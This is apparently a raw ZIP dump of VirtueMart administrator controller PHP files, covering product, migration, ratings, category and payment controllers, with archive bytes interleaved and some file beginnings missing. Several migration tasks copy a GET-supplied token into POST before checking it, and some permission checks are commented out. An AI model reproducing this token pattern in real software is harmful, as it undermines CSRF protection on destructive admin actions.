$msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); // $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } // vmdebug('$redirect '.$redirect); $app->redirect($redirect, $msg, $msgtype); } } public function massxref_sgrps(){ $this->massxref('massxref'); } public function massxref_sgrps_exe(){ $virtuemart_shoppergroup_ids = JRequest::getVar('virtuemart_shoppergroup_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_shoppergroup_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_shoppergroup_id' => $virtuemart_shoppergroup_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_shoppergroups'); } $this->massxref('massxref_sgrps'); } public function massxref_cats(){ $this->massxref('massxref'); } public function massxref_cats_exe(){ $virtuemart_cat_ids = JRequest::getVar('cid',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_cat_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_category_id' => $virtuemart_cat_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_categories',TRUE); } $this->massxref('massxref_cats'); } /** * */ public function massxref($layoutName){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $cids = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($cids); if(empty($cids)){ $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', '', 'vm')); } else { $session = JFactory::getSession(); $session->set('vm_product_ids', serialize($cids),'vm'); } if(!empty($cids)){ $q = 'SELECT `product_name` FROM `#__virtuemart_products_' . VMLANG . '` '; $q .= ' WHERE `virtuemart_product_id` IN (' . implode(',', $cids) . ')'; $db = JFactory::getDbo(); $db->setQuery($q); $productNames = $db->loadResultArray(); vmInfo('COM_VIRTUEMART_PRODUCT_XREF_NAMES',implode(', ',$productNames)); } $this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); $view->setLayout($layoutName); $view->display(); } /** * Clone a product * * @author Max Milbers */ public function CloneProduct() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY'); } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=product', $msg, $msgtype); } /** * Get a list of related products, categories * or customfields * @author Max Milbers * @author Kohl Patrick */ public function getData() { /* Create the view object. */ $view = $this->getView('product', 'json'); /* Now display the view. */ $view->display(NULL); } /** * Add a product rating * @author Max Milbers */ public function addRating() { $mainframe = Jfactory::getApplication(); /* Get the product ID */ // $cids = array(); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); // if (!is_array($cids)) $cids = array($cids); $mainframe->redirect('index.php?option=com_virtuemart&view=ratings&task=add&virtuemart_product_id='.$cids[0]); } public function ajax_notifyUsers(){ //vmdebug('updatestatus'); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) and count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $subject = JRequest::getVar('subject', ''); $mailbody = JRequest::getVar('mailbody', ''); $max_number = (int)JRequest::getVar('max_number', ''); $waitinglist = VmModel::getModel('Waitinglist'); $waitinglist->notifyList($virtuemart_product_id,$subject,$mailbody,$max_number); exit; } public function ajax_waitinglist() { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $waitinglistmodel = VmModel::getModel('waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($virtuemart_product_id); if(empty($waitinglist)) $waitinglist = array(); echo json_encode($waitinglist); exit; /* $result = array(); foreach($waitinglist as $wait) array_push($result,array("virtuemart_user_id"=>$wait->virtuemart_user_id,"notify_email"=>$wait->notify_email,'name'=>$wait->name,'username'=>$wait->username)); echo json_encode($result); exit; */ } } // pure php no closing tag PKtl>\!xFQVcom_virtuemart_update/administrator/components/com_virtuemart/controllers/currency.phpnuW+A\KZ^^Xcom_virtuemart_update/administrator/components/com_virtuemart/controllers/userfields.phpnuW+AgetType(); $view = $this->getView('userfields', $viewType); parent::display(); } function viewJson() { // Create the view object. $view = $this->getView('userfields', 'json'); // Now display the view. $view->display(null); } } //No Closing tag PKtl>\Tcom_virtuemart_update/administrator/components/com_virtuemart/controllers/report.phpnuW+AupdateOrderItems(); $this->setRedirect($this->redirectPath, 'Order Items updated'); } } // pure php no closing tagPKtl>\vߍJNJN^com_virtuemart_update/administrator/components/com_virtuemart/controllers/updatesmigration.phpnuW+Acheck('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } return true; } /** * Akeeba release system tasks * Update * @author Max Milbers */ function liveUpdate(){ $this->setRedirect('index.php?option=com_virtuemart&view=liveupdate.', 'Akeeba release system'); } /** * Install sample data into the database * * @author RickG */ function checkForLatestVersion(){ $model = $this->getModel('updatesMigration'); JRequest::setVar('latestverison', $model->getLatestVersion()); JRequest::setVar('view', 'updatesMigration'); parent::display(); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function installSampleData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $msg = $model->installSampleData(); $this->setRedirect($this->redirectPath, $msg); } /** * Sets the storeowner to the currently logged in user * He needs admin rights * * @author Max Milbers */ function setStoreOwner(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $storeOwnerId =JRequest::getInt('storeOwnerId'); $msg = $model->setStoreOwner($storeOwnerId); $this->setRedirect($this->redirectPath, $msg); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function restoreSystemDefaults(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemDefaults(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED'); $msg .= ' User id of the main vendor is ' . $model->setStoreOwner(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * Remove all the Virtuemart tables from the database. * * @author RickG * @author Max Milbers */ function deleteVmTables(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMTables()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect('index.php?option=com_installer', $msg); } /** * Deletes all dynamical created data and leaves a "fresh" installation without sampledata * OUTDATED * @author Max Milbers * */ function deleteVmData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMData()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteAll(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_ALLVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_essential.sql"); $this->installer->populateVmDatabase("delete_data.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteRestorable(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_RESTVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_restoreable.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function refreshCompleteInstallAndSample(){ $this->refreshCompleteInstall(true); } function refreshCompleteInstall($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemTablesCompletly(); //$id = $model->determineStoreOwner(); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); if($sample)$model->installSampleData($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
      '; } } VmConfig::installVMconfig(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function installCompleteSamples(){ $this->installComplete(true); } function installComplete($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->install(true); $model = $this->getModel('updatesMigration'); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
      '; } } if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone' . DS . 'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(true); if($sample) $model->installSampleData($sid); VmConfig::installVMconfig(); //Now lets set some joomla variables //Caching should be enabled, set to files and for 15 minutes if (!class_exists( 'ConfigModelApplication' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_config'.DS.'models'.DS.'application.php'); $jConfModel = new ConfigModelApplication(); $jConfig = $jConfModel->getData(); $jConfig['caching'] = 0; $jConfig['lifetime'] = 60; $jConfig['list_limit'] = 25; $jConfig['MetaDesc'] = 'VirtueMart works with Joomla! - the dynamic portal engine and content management system'; $jConfig['MetaKeys'] = 'virtuemart, vm2, joomla, Joomla'; $app = JFactory::getApplication(); $return = $jConfModel->save($jConfig); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $jConfig); vmError(vmText::sprintf('JERROR_SAVE_FAILED', $model->getError())); //return false; } else { // Set the success message. //vmInfo('COM_CONFIG_SAVE_SUCCESS'); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * This is executing the update table commands to adjust tables to the latest layout * @author Max Milbers */ function updateDatabase(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->update(false); $this->setRedirect($this->redirectPath, 'Database updated'); } /** * Delete the config stored in the database and renews it using the file * * @auhtor Max Milbers */ function renewConfig(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); //if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('config'); $model -> deleteConfig(); // } $this->setRedirect($this->redirectPath, 'Configuration is now restored by file'); } /** * This function resets the flag in the config that dangerous tools can't be executed anylonger * This is a security feature * * @author Max Milbers */ function setDangerousToolsOff(){ if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); if(!empty($res)){ $model = $this->getModel('config'); $model->setDangerousToolsOff(); } } /** * Sends the message to the user that the tools are disabled. * * @author Max Milbers */ function _getMsgDangerousTools(){ $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart_config'); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $msg = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED', JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'), $link); return $msg; } function portMedia(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } function migrateGeneralFromVmOne(){ $data = JRequest::get('get'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateGeneral(); if($result){ $msg = 'Migration general finished'; } else { $msg = 'Migration general was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateUsersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateUsers(); if($result){ $msg = 'Migration users finished'; } else { $msg = 'Migration users was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateProductsFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateProducts(); if($result){ $msg = 'Migration products finished'; } else { $msg = 'Migration products was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateOrdersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateOrders(); if($result){ $msg = 'Migration orders finished'; } else { $msg = 'Migration orders was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } /** * Is doing all migrator steps in one row * * @author Max Milbers */ function migrateAllInOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateAllInOne(); if($result){ $msg = 'Migration finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmAttributes(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1Attributes(); if($result){ $msg = 'Migration Vm2 attributes finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmRelatedProducts(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1RelatedProducts(); if($result){ $msg = 'Migration Vm2 related products finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function reOrderChilds(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->reOrderChilds(); //$msg = 'reOrderDone'; $this->setRedirect($this->redirectPath, $result); } function storeMigrationOptionsInSession(){ $session = JFactory::getSession(); $session->set('migration_task', JRequest::getString('task',''), 'vm'); $session->set('migration_default_category_browse', JRequest::getString('migration_default_category_browse',''), 'vm'); $session->set('migration_default_category_fly', JRequest::getString('migration_default_category_fly',''), 'vm'); } function resetThumbs(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $model = VmModel::getModel('updatesMigration'); $result = $model->resetThumbs(); $this->setRedirect($this->redirectPath, $result); } } PKtl>\Pf܀Ucom_virtuemart_update/administrator/components/com_virtuemart/controllers/ratings.phpnuW+A_cname); JRequest::setVar('view', $this->_cname); JRequest::setVar('layout', 'edit_review'); // JRequest::setVar('hidemenu', 1); if(empty($view)){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); } parent::display(); } /** * lits the reviews * @author Max Milbers */ public function listreviews(){ /* Create the view object */ $view = $this->getView('ratings', 'html'); $view->setLayout('list_reviews'); $view->display(); } /** * we must overwrite it here, because the task publish can be meant for two different list layouts. */ function publish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::publish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::publish(); } } function unpublish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::unpublish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::unpublish(); } } /** * Save task for review * * @author Max Milbers */ function saveReview(){ $this->storeReview(FALSE); } /** * Save task for review * * @author Max Milbers */ function applyReview(){ $this->storeReview(TRUE); } function storeReview($apply){ JRequest::checkToken() or jexit( 'Invalid Token save' ); if (empty($data)){ $data = JRequest::get ('post'); } $model = VmModel::getModel($this->_cname); $id = $model->saveRating($data); $errors = $model->getErrors(); if (empty($errors)) { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', $this->mainLangKey); } foreach($errors as $error){ $msg = ($error).'
      '; } $redir = $this->redirectPath; if($apply){ $redir = 'index.php?option=com_virtuemart&view=ratings&task=edit_review&virtuemart_rating_review_id='.$id; } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redir = 'index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id; } $this->setRedirect($redir, $msg); } /** * Save task for review * * @author Max Milbers */ function cancelEditReview(){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED' $this->setRedirect('index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id, $msg); } } // pure php no closing tag PKtl>\Չ&&Vcom_virtuemart_update/administrator/components/com_virtuemart/controllers/category.phpnuW+Aauthorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } $data = JRequest::get('post'); $data['category_name'] = JRequest::getVar('category_name','','post','STRING',JREQUEST_ALLOWHTML); $data['category_description'] = JRequest::getVar('category_description','','post','STRING',JREQUEST_ALLOWHTML); parent::save($data); } /** * Save the category order * * @author jseros */ public function orderUp() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the category order * * @author jseros */ public function orderDown() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the categories order */ public function saveOrder() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); //is sanitized JArrayHelper::toInteger($cid); $model = VmModel::getModel('category'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=category', $msg ); } } PKtl>\v` ` Tcom_virtuemart_update/administrator/components/com_virtuemart/controllers/custom.phpnuW+AgetView('custom', 'json'); // Now display the view. $view->display(null); } function save($data = 0) { $data = JRequest::get('post'); // onSaveCustom plugin; parent::save($data); } /** * Clone a product * * @author Max Milbers */ public function createClone() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('custom', 'html'); $model = VmModel::getModel('custom'); $msgtype = ''; $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_custom_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach ($cids as $custom_id) { if ($model->createClone($custom_id)) $msg = JText::_('COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY').' : '.$custom_id; $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=custom', $msg, $msgtype); } } // pure php no closing tag PKtl>\OXcom_virtuemart_update/administrator/components/com_virtuemart/controllers/usergroups.phpnuW+A\$$Xcom_virtuemart_update/administrator/components/com_virtuemart/controllers/virtuemart.phpnuW+AsetDangerousToolsOff(); $this->display(); } } PKtl>\\\Zcom_virtuemart_update/administrator/components/com_virtuemart/controllers/manufacturer.phpnuW+A\$ $ [com_virtuemart_update/administrator/components/com_virtuemart/controllers/paymentmethod.phpnuW+AgetView('paymentmethod', 'html'); $model = VmModel::getModel('paymentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_payment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=paymentmethod', $msg, $msgtype); } } // pure php no closing tag PKtl>\ElTcom_virtuemart_update/administrator/components/com_virtuemart/controllers/index.htmlnuW+A 